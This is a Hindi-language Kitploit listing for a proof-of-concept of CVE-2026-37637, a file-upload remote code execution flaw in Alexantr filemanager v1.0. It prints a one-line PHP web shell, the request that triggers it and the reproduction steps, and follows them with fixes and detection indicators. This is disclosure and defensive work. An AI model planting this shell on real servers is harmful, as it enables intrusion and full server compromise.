Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-37637 — अलेक्सांट्र फ़ाइलमैनेजर v1.0 में असीमित फ़ाइल अपलोड के माध्यम से रिमोट कोड निष्पादन | Kitploit
उपकरण/GitHubGitHub/slo-cyber-sec/cve-2026-37637
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubslo-cyber-sec/cve-2026-37637

CVE-2026-37637

अलेक्सांट्र फ़ाइलमैनेजर v1.0 में असीमित फ़ाइल अपलोड के माध्यम से रिमोट कोड निष्पादन

रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-37637

CVE-2026-37637 के लिए प्रूफ ऑफ कॉन्सेप्ट - Alexantr filemanager v1.0 में Remote Code Execution, filemanager.php में असीमित फ़ाइल अपलोड के माध्यम से।

अवलोकन

CVE-2026-37637 एक Remote Code Execution भेद्यता है जो Alexantr filemanager v1.0 को प्रभावित करती है।

यह भेद्यता filemanager.php घटक में अपलोड की गई फ़ाइलों के अपर्याप्त सत्यापन के कारण मौजूद है। एक दूरस्थ हमलावर वेब-सुलभ निर्देशिका में एक दुर्भावनापूर्ण PHP फ़ाइल अपलोड कर सकता है और सर्वर पर मनमाने कमांड निष्पादित कर सकता है।

CVE स्थिति: MITRE को प्रस्तुत किया गया
शोधकर्ता: CYBER-SEC विक्रेता रिपॉजिटरी: https://github.com/alexantr/filemanager


भेद्यता सारांश

आइटमविवरण
CVE IDCVE-2026-37637
भेद्यता प्रकारRemote Code Execution
प्रभावित उत्पादAlexantr filemanager
प्रभावित संस्करणv1.0
संवेदनशील घटकfilemanager.php
हमला वेक्टरदूरस्थ (Remote)
प्रमाणीकरण आवश्यकतैनाती/कॉन्फ़िगरेशन पर निर्भर करता है
प्रभावमनमाना कमांड निष्पादन
मूल कारणअसीमित फ़ाइल अपलोड और सर्वर-साइड फ़ाइल सत्यापन की कमी

प्रभाव

एक हमलावर फ़ाइल अपलोड कार्यक्षमता के माध्यम से एक दुर्भावनापूर्ण PHP फ़ाइल अपलोड कर सकता है। चूंकि अपलोड की गई फ़ाइलें वेब-सुलभ स्थान पर संग्रहीत की जाती हैं और PHP निष्पादन की अनुमति है, हमलावर सर्वर पर मनमाने सिस्टम कमांड निष्पादित कर सकता है।

सफल शोषण एक हमलावर को अनुमति दे सकता है:

  • सर्वर पर मनमाने कमांड निष्पादित करना
  • संवेदनशील फ़ाइलें पढ़ना
  • एप्लिकेशन फ़ाइलों को संशोधित या हटाना
  • अतिरिक्त मैलवेयर या वेब शेल अपलोड करना
  • होस्टिंग वातावरण में आगे घुसपैठ करना
  • प्रभावित सर्वर से पूरी तरह समझौता करना

तकनीकी विवरण

एप्लिकेशन उपयोगकर्ताओं को फ़ाइल एक्सटेंशन, MIME प्रकार या फ़ाइल सामग्री को ठीक से सत्यापित किए बिना मनमानी फ़ाइलें अपलोड करने की अनुमति देता है।

निम्नलिखित जैसी एक दुर्भावनापूर्ण PHP फ़ाइल अपलोड की जा सकती है:

root@kitploit:~
<?php system($_GET['cmd']); ?>

एक बार वेब-सुलभ निर्देशिका में अपलोड होने के बाद, हमलावर ब्राउज़र के माध्यम से फ़ाइल तक पहुंचकर और cmd पैरामीटर के माध्यम से कमांड पास करके कमांड निष्पादित कर सकता है।

उदाहरण:

root@kitploit:~
http://target/uploads/shell.php?cmd=id

इसके परिणामस्वरूप अंतर्निहित ऑपरेटिंग सिस्टम पर कमांड निष्पादन होता है।


पुनरुत्पादन के चरण

1. संवेदनशील एप्लिकेशन को क्लोन करें

root@kitploit:~
git clone https://github.com/alexantr/filemanager
cd filemanager

2. PHP डेवलपमेंट सर्वर प्रारंभ करें

root@kitploit:~
php -S localhost:8000

3. एप्लिकेशन तक पहुंचें

ब्राउज़र में एप्लिकेशन खोलें:

root@kitploit:~
http://localhost:8000/filemanager.php

तैनाती या कॉन्फ़िगरेशन के आधार पर, एप्लिकेशन इसके माध्यम से भी सुलभ हो सकता है:

root@kitploit:~
http://localhost:8000/pheditor.php

4. एक दुर्भावनापूर्ण PHP फ़ाइल अपलोड करें

shell.php नामक एक फ़ाइल बनाएं:

root@kitploit:~
<?php system($_GET['cmd']); ?>

एप्लिकेशन की अपलोड कार्यक्षमता का उपयोग करके फ़ाइल अपलोड करें।

5. एक कमांड निष्पादित करें

फ़ाइल अपलोड करने के बाद, इसे सीधे ब्राउज़र से एक्सेस करें:

root@kitploit:~
http://localhost:8000/uploads/shell.php?cmd=id

यदि शोषण सफल होता है, तो सर्वर कमांड निष्पादित करेगा और आउटपुट लौटाएगा।

उदाहरण आउटपुट:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

प्रूफ ऑफ कॉन्सेप्ट

दुर्भावनापूर्ण PHP पेलोड

root@kitploit:~
<?php system($_GET['cmd']); ?>

उदाहरण अनुरोध

root@kitploit:~
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close

अपेक्षित परिणाम

cmd पैरामीटर के माध्यम से आपूर्ति किया गया कमांड सर्वर पर निष्पादित किया जाता है।


मूल कारण

यह भेद्यता फ़ाइल अपलोड कार्यक्षमता में अपर्याप्त सर्वर-साइड सत्यापन के कारण होती है।

एप्लिकेशन निम्नलिखित को ठीक से प्रतिबंधित नहीं करता है:

  • फ़ाइल एक्सटेंशन
  • MIME प्रकार
  • फ़ाइल सामग्री
  • अपलोड गंतव्य
  • अपलोड निर्देशिका के अंदर निष्पादन अनुमतियाँ

परिणामस्वरूप, निष्पादन योग्य PHP फ़ाइलें अपलोड और सीधे निष्पादित की जा सकती हैं।


अनुशंसित सुधार

विक्रेता और उपयोगकर्ताओं को निम्नलिखित सुरक्षा उपाय लागू करने चाहिए।

1. खतरनाक फ़ाइल एक्सटेंशन ब्लॉक करें

निम्नलिखित जैसे निष्पादन योग्य फ़ाइल प्रकारों की अपलोड की अनुमति न दें:

root@kitploit:~
.php, .phtml, .php3, .php4, .php5, .phar

2. अनुमत सूची (Allowlist) का उपयोग करें

केवल अपेक्षित फ़ाइल प्रकारों की अनुमति दें, उदाहरण के लिए:

root@kitploit:~
.jpg, .png, .gif, .txt, .pdf

3. MIME प्रकार और फ़ाइल सामग्री सत्यापित करें

केवल क्लाइंट-प्रदत्त Content-Type हेडर पर निर्भर न रहें।

फ़ाइल सत्यापन सर्वर-साइड पर किया जाना चाहिए।

4. अपलोड की गई फ़ाइलों को वेब रूट के बाहर संग्रहीत करें

अपलोड की गई फ़ाइलें सीधे निष्पादन योग्य या सार्वजनिक रूप से सुलभ नहीं होनी चाहिए।

5. अपलोड निर्देशिकाओं में PHP निष्पादन अक्षम करें

Apache के लिए, यह .htaccess के साथ किया जा सकता है:

root@kitploit:~
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar

Nginx के लिए, अपलोड पथों में PHP हैंडलिंग रोकें:

root@kitploit:~
location /uploads/ {
    location ~ \.php$ {
        deny all;
    }
}

6. अपलोड की गई फ़ाइलों का नाम बदलें

यादृच्छिक सर्वर-जनित फ़ाइल नामों का उपयोग करें और उपयोगकर्ता-नियंत्रित एक्सटेंशन हटाएं।

7. उचित एक्सेस नियंत्रण लागू करें

अपलोड कार्यक्षमता को केवल विश्वसनीय उपयोगकर्ताओं तक सीमित रखें।


पहचान

प्रशासक वेब-सुलभ निर्देशिकाओं में संदिग्ध अपलोड की गई PHP फ़ाइलों की तलाश कर सकते हैं।

उदाहरण संकेतक:

root@kitploit:~
shell.php
cmd.php
upload.php
backdoor.php
अपलोड निर्देशिकाओं के अंदर .php फ़ाइलें

संदिग्ध अनुरोध पैटर्न में शामिल हो सकते हैं:

root@kitploit:~
?cmd=
?exec=
?shell=
?command=

उदाहरण लॉग प्रविष्टि:

root@kitploit:~
GET /uploads/shell.php?cmd=id HTTP/1.1

अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और रक्षात्मक सुरक्षा उद्देश्यों के लिए प्रदान की गई है।

जानकारी और प्रूफ ऑफ कॉन्सेप्ट डेवलपर्स, सिस्टम प्रशासकों और सुरक्षा पेशेवरों को भेद्यता को समझने और सुधारने में मदद करने के लिए हैं।

स्पष्ट प्राधिकरण के बिना सिस्टम पर हमला करने के लिए इस जानकारी का उपयोग न करें। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है।

लेखक इस रिपॉजिटरी में प्रदान की गई जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।


संदर्भ

  • https://github.com/alexantr/filemanager
  • https://cve.mitre.org/
टूल डाउनलोड करें